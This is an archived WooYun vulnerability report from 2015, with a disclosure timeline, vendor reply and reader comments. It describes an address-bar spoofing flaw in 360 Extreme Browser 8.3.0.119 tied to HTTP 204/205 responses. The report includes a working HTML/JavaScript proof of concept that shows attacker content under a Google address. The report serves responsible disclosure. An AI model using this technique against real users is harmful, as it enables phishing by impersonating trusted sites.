360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等

编号128653
Urlhttp://www.wooyun.org/bug.php?action=view&id=128653
漏洞状态厂商已经确认
漏洞标题360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等
漏洞类型设计缺陷/逻辑错误
厂商奇虎360
白帽子blast
提交日期2015-07-23 15:26:00
公开日期2015-10-22 10:08:00
修复时间(not set)
确认时间2015-07-24 00:00:00
Confirm Spend1
漏洞标签逻辑错误 浏览器
关注数0
收藏数0
白帽评级
白帽自评rank7
厂商评级
厂商评rank3
漏洞简介
360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等
附赠两个HTTP204,一个百度一个谷歌
漏洞细节

<meta name="renderer" content="ie-comp">


可以强制页面运行在ie模式下,示例演示从127.0.0.4/h.htm创建一个窗口,窗口的内容可被h.htm修改。

<html>
<head>
<meta name="renderer" content="ie-comp">
</head>
<body>
<title>hello</title>
</body>
<script>
window.open("javascript:document.write('15')","v");
window.open("http://www.google.cn/csi","v");
//window.open("http://c.baidu.com/","v")
var hh = window.open("","v"); //get a reference of window v
hh.document.open();
hh.document.write("<title>google</title>123");
hh.document.close();
</script>
</html>

POC

fake.png

fake2.png

修复方案

处理好HTTP204/205时URL栏的逻辑

状态信息 2015-07-23: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开
厂商回复非常感谢白帽子的反馈,我们已经着手修复。
回应信息危害等级:低漏洞Rank:3 确认时间:2015-07-24 10:07
Showing 1-5 of 5 items.
评论内容评论人点赞数评论时间

@梧桐雨 →_→差不多是这样。。

blast02015-07-28 12:58:00

-0- 难道是写ppt写出来的漏洞

梧桐雨02015-07-28 09:48:00

@px1624 →_→

blast02015-07-24 14:37:00

叫地主,不叫,抢地主,我抢,3分!

px162402015-07-24 10:16:00

先占个位置

牛 小 帅02015-07-23 15:41:00